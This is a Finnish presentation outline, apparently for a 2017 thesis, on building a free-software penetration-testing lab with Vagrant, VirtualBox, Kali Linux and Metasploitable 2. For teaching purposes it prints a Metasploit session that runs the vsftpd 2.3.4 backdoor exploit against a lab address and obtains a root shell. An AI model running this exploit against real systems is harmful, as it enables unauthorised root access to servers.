PENETRATION TESTING - HARJOITUSYMPÄRISTÖN TOTEUTUS VAPAILLA OHJELMILLA

KALI LINUXIIN SISÄLTYVÄLLÄ METASPLOITILLA TUNKEUTUMINEN METASPLOITABLE 2 -KONEESEEN VAGRANT-VIRTUAALIYMPÄRISTÖSSÄ

TONI JÄÄSKELÄINEN

23.11.2017

JOHDANTO

- Tarkoitus selvittää, kuinka tunkeutumistestaukseen sopiva harjoitusympäristö toteutetaan vapailla ohjelmilla
- Suunnattu Linux-käyttäjille, joita kiinnostaa PenTesting
- Teoriaosuus: tunkeutumistestaus, välineet ympäristön toteutukseen ja tunkeutumiseen sekä sopivat tunkeutumiskohteet
  - Vapaat ohjelmat ja virtualisointi
- Käytännön osio: toteutus ja testaus
- Julkaistu GitHubiin ja Vagrant Cloudiin (molemmissa käyttäjänimi tonijaaskelainen)

TUNKEUTUMISTESTAUS

- Merkitys ja hyödyt
- Standardissa seitsemän vaihetta
  - Työtä edeltävät toimenpiteet
  - Tiedon kerääminen
  - Uhkien mallintaminen
  - Haavoittuvuuksien analysointi
  - Haavoittuvuuksiin hyökkääminen
  - Hyökkäysten jälkeiset toimenpiteet
  - Raportointi

VÄLINEET YMPÄRISTÖN TOTEUTUKSEEN

- Toteutus vapailla ohjelmilla -> Vapaiden ohjelmistojen määritelmä ja lisenssejä
- Toteutus on virtuaalinen -> Teoriaa virtualisoinnista
- Vertailussa VirtualBox, Vagrant ja Packer
- Työhön valittiin Vagrant, jolle provideriksi VirtualBox

VÄLINEET YMPÄRISTÖÖN TUNKEUTUMISEEN

- Kali Linux: Tunkeutumistestaukseen painottunut Linux-jakelu
  - Sisältää normaalisti valtavan määrän työkaluja
  - Light-versiossa sen sijaan vähän työkaluja
- Vertailussa Metasploit Framework ja Burp Suite
- Työhön valittiin Metasploit Framework

TUNKEUTUMISKOHTEET

- Metasploitable: Tarkoituksella haavoittuvaksi tehty virtuaalikone
  - Versio 2 Linux-palvelin, versio 3 Windows-palvelin
- Vertailussa lisäksi Windows- ja Linux-palvelimet
- Työhön valittiin Metasploitable 2

YMPÄRISTÖN TOTEUTUS

- Kannettava: SAMSUNG NPC300E5C, käyttöjärjestelmä: Ubuntu Linux 16.04.3 LTS 64-bit
- VirtualBox 5.1.30, Vagrant 2.0.0
- Kali Linux light 64 bit VBox versio 2017.2 (valmis virtuaali-image), Metasploitable 2.0.0 (valmis virtuaalikiintolevy)
- Suuri osa määrittelyistä VirtualBoxin virtuaalikoneille -> paketointi boxeiksi -> julkaisu Vagrant Cloudiin -> boxien määrittely Vagrantfileen -> vagrant up -> vagrant ssh

TUNKEUTUMISEN TESTAAMINEN

- Metasploitablen IP-osoitteen skannaus -> auki olevat palvelut
- FTP-palvelun version skannaaminen -> exploitin etsiminen kyseiselle palvelun versiolle
- Exploitin käyttöönotto ja kohteen määrittely
- Takaportti Metasploitableen

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(vsftpd_234_backdoor) > exploit

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:35259 -> 192.168.56.101:6200) at 2017-11-21 12:33:28 -0500

hostname
metasploitable
pwd
/
id
uid=0(root) gid=0(root)
w
 12:35:25 up  5:25,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    :0.0             07:10    5:25   0.00s  0.00s -bash
msfadmin pts/1    10.0.2.2         07:10    5:25   0.00s  0.00s -bash
```

HAASTEET

- Teorian koostaminen
- Kali ei toiminut Host-only-verkossa

RATKAISTUT ONGELMAT

- Metasploitable 2:n Guest Additionsien asennus, vaikka tuki oli päättynyt
- Kalin normaalit työkalut asentuvat Vagrantfilen avulla ilman käyttäjän toimia

JATKOKEHITYSEHDOTUKSIA

- Metasploitable 3 -> vaikeustasoa voi säätää ympäristömuuttujan avulla
- Kokeneemmille Linux- ja Windows-palvelimet mukaan ympäristöön

KYSYMYKSIÄ?